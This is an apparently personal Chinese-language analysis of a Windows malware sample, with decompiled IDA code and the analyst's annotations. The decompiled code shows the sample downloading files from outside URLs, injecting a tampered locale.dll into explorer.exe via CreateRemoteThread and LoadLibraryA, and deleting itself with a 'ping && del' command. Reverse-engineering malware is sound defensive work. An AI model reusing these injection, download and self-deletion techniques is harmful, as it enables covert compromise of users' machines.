样本信息
MD5: 6E4B0A001C493F0FCF8C5E9020958F38
SHA1:BEA213F1C932455AEE8FF6FDE346B1D1960D57FF
CRC32: 1CD8074D
查壳
无壳
手动分析
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
………………
v77 = v3;
v78 = retaddr;
v76 = -1;
v75 = &loc_F400D;
v74 = NtCurrentTeb()->NtTib.ExceptionList;
v73 = &v79;
v55 = 0;
v4 = GetConsoleWindow();
ShowWindow(v4, 0); // ShowWindow(GetConsoleWindow(),SW_HIDE) 隐藏终端程序端口
sub_D2190("procmon"); // procmon,微软出品 监视软件运行
sub_D2190("wireshark"); // 打开wireshark?
sub_D2190("procexp"); // 第三方进程管理器,可以一键取代系统自带任务管理器,但是不能一键恢复,有微软的数字签名。
// 留坑:一般用户应该没装这玩意儿,难不成自带
//
if ( ExpandEnvironmentStringsA("%temp%", v64, 0x104u) )// 扩充环境字符串:将百分号封闭起来的环境变量名转换成那个变量的内容
// 这里被赋值临时文件的路径
{
strcpy((char *)v56, "x.zip"); // 这里拼接字符串,mark下 x.zip
memset(v70, 0, 0x104u);
v5 = &v64[strlen(v64) + 1] - v64;
v6 = &v69;
while ( *++v6 )
;
qmemcpy(v6, v64, v5);
v8 = &v69;
while ( *++v8 )
;
*(_WORD *)v8 = 92;
v10 = (char *)v56 + strlen((const char *)v56) + 1 - (char *)v56;
v11 = &v69;
while ( *++v11 )
;
qmemcpy(v11, v56, v10); // qmemcpy赋值了一串路径:
// C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
//
strcpy(v71, "7z4..1v0r_teernvCos/adlowndom/coy.iturecusah.kww/w:/tpht");
sub_D2990(v71); // http://www.kahusecurity.com/downloads/Converter_v0.14.7z
sub_D2110(v71, v70); // Mark关键函数:传入converter下载网址和g.zip的文件地址进行处理,后面再步入详细分析。
// 第一个参数是个url,下载格式转换软件的压缩包
// 第二个参数是 C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
if ( GetFileAttributesA(v70) != 34 ) // 获取g.zip文件属性
SetFileAttributesA(v70, 0x22u);
v70[0] = 0;
LOBYTE(v56[0]) = 103;
v13 = &v64[strlen(v64) + 1] - v64;
v14 = &v69;
while ( *++v14 )
;
qmemcpy(v14, v64, v13); // v15 赋值字符串 \x.zip
v16 = &v69;
while ( *++v16 )
;
*(_WORD *)v16 = 92;
v18 = (char *)v56 + strlen((const char *)v56) + 1 - (char *)v56;
v19 = &v69;
while ( *++v19 )
;
qmemcpy(v19, v56, v18); // v20的值 p
strcpy(v72, "jp3.r-pepallway-wa-angyifls-owcrs/gema/iom.ceflierap/p:/tphtg");
sub_D2990(v72);
sub_D2110(v72, v70); // 第二次调用该函数。得URL:
// http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
if ( GetFileAttributesA(v70) != 34 ) // 判断C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip的文件属性
SetFileAttributesA(v70, 0x22u);
}
strcpy(v68, "CDf:ge\\\\gwefiilnscdyuoqwwlfsas\\\\/s45y0cscxtddefem21332243\\\\9lkkooocvvaaalefeee...drolwel");
memset(v62, 0, sizeof(v62));
v76 = 0;
v21 = 15;
v61.dwProcessId = 0;
v61.dwThreadId = 15;
LOBYTE(v60[0]) = 0;
v55 = 1;
v58 = 0;
v59 = 15;
LOBYTE(v57[0]) = 0;
sub_D4BE0(v57, v68, &v68[strlen(v68) + 1] - &v68[1]);// 这里是最后一次用到上面的乱序字符串,但是依旧没有处理
LOBYTE(v76) = 1;
v22 = 0;
v56[0] = v58;
if ( v58 > 0 )
{
for ( i = 0; ; i = v61.dwProcessId ) // 循环到 i=29退出
{
v24 = v57;
if ( v59 >= 0x10 )
v24 = (_DWORD *)v57[0];
v25 = *((_BYTE *)v24 + v22);
v54 = v25;
if ( i >= v21 )
{
LOBYTE(v53) = 0;
sub_D53F0(v60, i, v53, v54);
}
else
{
v61.dwProcessId = i + 1;
v26 = v60;
if ( v21 >= 0x10 )
v26 = (_DWORD *)v60[0];
*((_BYTE *)v26 + i) = v25;
*((_BYTE *)v26 + i + 1) = 0;
}
v21 = v61.dwThreadId;
v22 += 3;
if ( v22 >= v56[0] )
break;
}
}
LOBYTE(v76) = 0;
if ( v59 >= 0x10 )
{
v27 = (void *)v57[0];
if ( v59 + 1 >= 0x1000 )
{
if ( v59 + 36 <= v59 + 1
|| (v57[0] & 0x1F) != 0
|| (v27 = *(void **)(v57[0] - 4), (unsigned int)v27 >= v57[0])
|| (unsigned int)(v57[0] - (_DWORD)v27) < 4
|| (unsigned int)(v57[0] - (_DWORD)v27) > 0x23 )
{
_invalid_parameter_noinfo_noreturn();
}
}
sub_D85BE(v27);
}
v28 = (char *)v60[0]; // 赋值:C:\windows\system32\locale.dll
v29 = (char *)v60;
if ( v21 >= 0x10 )
v29 = (char *)v60[0]; // 这里赋值 C:\windows\system32\locale.dll
v30 = (_BYTE *)(v62 - v29);
do
{
v31 = *v29++;
v29[(_DWORD)v30 - 1] = v31;
}
while ( v31 );
v76 = -1;
if ( v21 >= 0x10 )
{
v32 = v21 + 1;
v33 = v28; // 赋值 C:\windows\system32\locale.dll
if ( v32 >= 0x1000 )
{
if ( v32 + 35 <= v32
|| ((unsigned __int8)v28 & 0x1F) != 0
|| (v28 = (char *)*((_DWORD *)v28 - 1), v28 >= v33)
|| (v34 = v33 - v28, v34 < 4)
|| v34 > 0x23 )
{
_invalid_parameter_noinfo_noreturn();
}
}
sub_D85BE(v28);
}
sub_D2690(v62); // Mark关键函数:这个函数有 explore.exe,正常是Windows图形化界面,
// 但很多病毒喜欢伪装成这个名字
GetModuleFileNameA(0, v67, 0x104u); // 获取exe文件绝对路径,这里获取到病毒样本所在的路径
v35 = GetFileAttributesA(v67); // 获取本体文件的属性
SetFileAttributesA(v67, v35 & 0xFFFFFFFE); // 修改本体文件的属性
memset(&v52, 0, sizeof(v52));
v52.cb = 68;
v61 = 0i64;
v52.wShowWindow = 6;
strcpy(v65, "636D642E657865202F432070696E67203132372E302E302E312026262064656C20");
v52.dwFlags = 1;
memset(v66, 0, sizeof(v66));
memset(v63, 0, sizeof(v63));
v36 = (const char *)sub_D1F00(v57, v65);
v37 = v36;
if ( *((_DWORD *)v36 + 5) >= 0x10u )
v37 = *(const char **)v36;
v38 = v37; // edx赋值给esi:cmd.exe /C ping 127.0.0.1 && del
v39 = strlen(v37) + 1; // 循环后值为34,是cmd.exe /C ping 127.0.0.1 && del \00 +1的长度
v40 = &v62[511];
while ( *++v40 )
;
qmemcpy(v40, v38, 4 * (v39 >> 2));
v43 = &v38[4 * (v39 >> 2)];
v42 = &v40[4 * (v39 >> 2)];
v44 = v39;
v45 = v59;
qmemcpy(v42, v43, v44 & 3);
if ( v45 >= 0x10 )
{
v46 = (void *)v57[0];
v47 = v45 + 1;
if ( v47 >= 0x1000 )
{
if ( v47 + 35 <= v47
|| (v57[0] & 0x1F) != 0
|| (v46 = *(void **)(v57[0] - 4), (unsigned int)v46 >= v57[0])
|| (unsigned int)(v57[0] - (_DWORD)v46) < 4
|| (unsigned int)(v57[0] - (_DWORD)v46) > 0x23 )
{
_invalid_parameter_noinfo_noreturn();
}
}
sub_D85BE(v46);
}
v48 = &v67[strlen(v67) + 1] - v67;
v49 = &v62[511];
while ( *++v49 )
;
qmemcpy(v49, v67, v48); // 0 病毒样本所在地址 41
CreateProcessA(0, v63, 0, 0, 1, 0x8000000u, 0, 0, &v52, &v61);
return 0;
}
主函数分析补充
访问
http://www.kahusecurity.com/downloads/Converter_v0.14.7z
另存文件到 C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
打开这个网址,看url应该是下载 Converter_v0.14.7z文件,格式转换??
搜索该网站下的版权声明找到了官网……貌似是个安全公司
可能是官网有变动,我在官网里找下载工具,找到converter,版本也是0.14。最后更新日期2016.9.30
恶意软件在安全团队官网下格式转换工具……太骚了_(:з」∠)_
------------下一处下载-----------------
访问
http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
另存文件到 C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip
该URL访问后加载不出来图片……
综上两个文件的网址都无法访问,所以后面分析时并没有x.zip和g.zip文件生成
关键函数Ⅰ sub_D2110
下载文件到指定地址并重命名
char __fastcall sub_11F2110(LPCSTR a1, LPCSTR a2)
{
HRESULT v4; // esi
int v5; // eax
char result; // al
int v7; // edx
int v8; // ecx
int v9; // eax
DeleteUrlCacheEntry(a1);
v4 = URLDownloadToFileA(0, a1, a2, 0, 0); // a1:http://www.kahusecurity.com/downloads/Converter_v0.14.7z
// a2:C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
// URLDownloadToFile,指从指定URL地址读取内容并将读取到的内容保存到特定的文件里的实现方法。
// 那这里应该是下载converter v0.14.zip到用户临时文件夹下,并命名为 x.zip(
// 难怪分析main函数的时候,执行完这个函数在temp文件夹下找不到x.zip。应该是converter的下载网址换了导致无法下载。
// --------------------------------------------
// 后面该函数又被调用了一次,这次是
// 下载文件:http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
// 保存为:C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip
if ( v4 < 0 )
{
v7 = sub_11F5060();
if ( v7 )
v8 = v7 + *(_DWORD *)(*(_DWORD *)v7 + 4);
else
v8 = 0;
*(_DWORD *)(v8 + 20) = *(_DWORD *)(v8 + 20) & 0xFFFFF9FF | 0x800;
v9 = sub_11F3180(v7, v4);
sub_11F5330(v9);
result = 0;
}
else
{
v5 = sub_11F5060();
sub_11F5330(v5);
result = 1;
}
return result;
}
关键函数Ⅱ sub_D2690
篡改 locale.dll
HANDLE __thiscall sub_D2690(LPCVOID lpBuffer)
{
…………
v1 = (const char *)lpBuffer;
*(_DWORD *)Buffer = lpBuffer;
v2 = CreateFileA((LPCSTR)lpBuffer, 0xC0000000, 0, 0, 2u, 0x80u, 0);// 创建文件,返回句柄到v2
if ( v2 == (HANDLE)-1 ) // 这里跳过异常,该if不执行
{
*(_DWORD *)Buffer = 0;
v10 = GetLastError();
if ( FormatMessageA(0x3100u, 0, v10, 0, Buffer, 0, 0) && *(_DWORD *)Buffer )
{
*(_BYTE *)(strlen(*(const char **)Buffer) + *(_DWORD *)Buffer - 2) = 0;
GetLastError();
sub_D1160(v14, "%0.*s (0x%x)", 2032);
LocalFree(*(HLOCAL *)Buffer);
}
else
{
v14[0] = 0;
}
result = (HANDLE)sub_D10E0("\nLASTERROR: %s", v14);
}
else
{
v3 = 0;
NumberOfBytesWritten = 0;
do
{
::Buffer[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)::Buffer[v3]);
xmmword_1049C0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)xmmword_1049C0[v3]);
xmmword_1049D0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_1049D0[v3], (__m128i)xmmword_101340);
xmmword_1049E0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)xmmword_1049E0[v3]);
v3 += 4;
}
while ( v3 < 4448 );
WriteFile(v2, ::Buffer, 0x11600u, &NumberOfBytesWritten, 0);
CloseHandle(v2);
Sleep(0xC8u);
Sleep(0xC8u);
sub_D2360();
v4 = 0;
v5 = CreateToolhelp32Snapshot(0xFu, 0); // 获取系统中正在运行的进程、线程信息,建立一个快照
pe.dwSize = 296;
if ( Process32First(v5, &pe) ) // Process32First和Process32Next配合使用
// 枚举上面CreateToolhelp32Snapshot创建的快照里的所有进程
{
while ( _stricmp(pe.szExeFile, "explorer.exe") )// 遍历快照内的所有进程,
// 查看当前进程 pe.szExeFile 是否名为 explorer.exe
{
if ( !Process32Next(v5, &pe) )
goto LABEL_9;
}
v4 = pe.th32ProcessID;
LABEL_9:
v1 = *(const char **)Buffer;
}
CloseHandle(v5);
*(_DWORD *)&pe.szExeFile[108] = 148;
result = (HANDLE)GetVersionExA((LPOSVERSIONINFOA)&pe.szExeFile[108]);
if ( result )
{
result = *(HANDLE *)&pe.szExeFile[112];
if ( *(_DWORD *)&pe.szExeFile[112] == 5 || *(_DWORD *)&pe.szExeFile[112] >= 6u )
{
result = OpenProcess(0x43Au, 0, v4);
v7 = result;
if ( result )
{
v8 = VirtualAllocEx(result, 0, strlen(v1), 0x3000u, 0x40u);// 在locale.dll的虚拟空间保留或提交内存区域
result = (HANDLE)WriteProcessMemory(v7, v8, v1, strlen(v1), 0);// 对locale.dll进行改写,
// 从地址0x33f0000开始,
if ( result )
{
v9 = GetModuleHandleA("kernel32.dll");// 调用locale.dll
result = GetProcAddress(v9, "LoadLibraryA");
if ( result )
{
CreateRemoteThread(v7, 0, 0, (LPTHREAD_START_ROUTINE)result, v8, 0, 0);// 让locale.dll在其他地址空间中运行
result = (HANDLE)CloseHandle(v7);
}
}
}
}
}
}
return result;
}
单独分析篡改后的 locale.dll
IDA主函数分析的时候发现locale.dll被篡改并另启运行,但是在C:\windows\system32\下找不到 locale.dll……
火绒剑:动作过滤,只看文件监控日志,很快就找到了locale.dll的位置了(๑•̀ㅂ•́)و✧
破案,去SYSWOW64 !
用ida分析,找到了一串疑似URL的字符串。尝试动调时发现需要病毒样本才能正常加载,看来这个locale.dll确实就是被篡改过的。
技艺不精,用IDA调试dll时,由于病毒样本运行后删除自身所以没法断下,OD也不会调试DLL……好在改乱序字符串下就是排序代码,直接手敲得到真正的URL:
http://d1picvugn75nio.cloudfront.net
再往下走,有个ShellExecuteA,作用是最大化窗口打开该网址 (可能年代久远,该网站现在无法访问……)
病毒样本运行流程总结
隐藏程序端口
打开procmon wireshark procexp
获取用户的临时文件的路径
关键函数:sub_d2110
生成C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip的路径
生成一个URL:http://www.kahusecurity.com/downloads/Converter_v0.14.7z
下载convert,并命名为x.zip保存到C:\Users\HOLY-P~1\AppData\Local\Temp\
生成一个URL:http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
下载convert,并命名为g.zip保存到C:\Users\HOLY-P~1\AppData\Local\Temp\
生成路径C:\windows\system32\locale.dll
关键函数:sub_D2690
获取系统正在运行的进程、线程,建立一个快照
遍历快照内的所有进程确定存在explorer.exe后执行下一步
对locale.dll进行改写(从 0x33f0000开始)
运行locale.dll 打开网址http://d1picvugn75nio.cloudfront.net
打开cmd.exe
ping 127.0.0.1
删除自身
(此时被篡改的locale.dll仍存在于C:\windows\SysWOW64\ ,未被删除)
可疑行为
在C:\Users\本机用户名\AppData\Local\Temp\
路径下下载了两个文件,并重命名为g.zip和x.zip
进程中的 locale.dll内容被篡改
篡改后的locale.dll作用是打开网址:http://d1picvugn75nio.cloudfront.net
运行后删除自身,毁尸灭迹。但篡改后的locale.dll依旧存在,并且系统显示其修改日期仍是2009.7.14,不易被发现。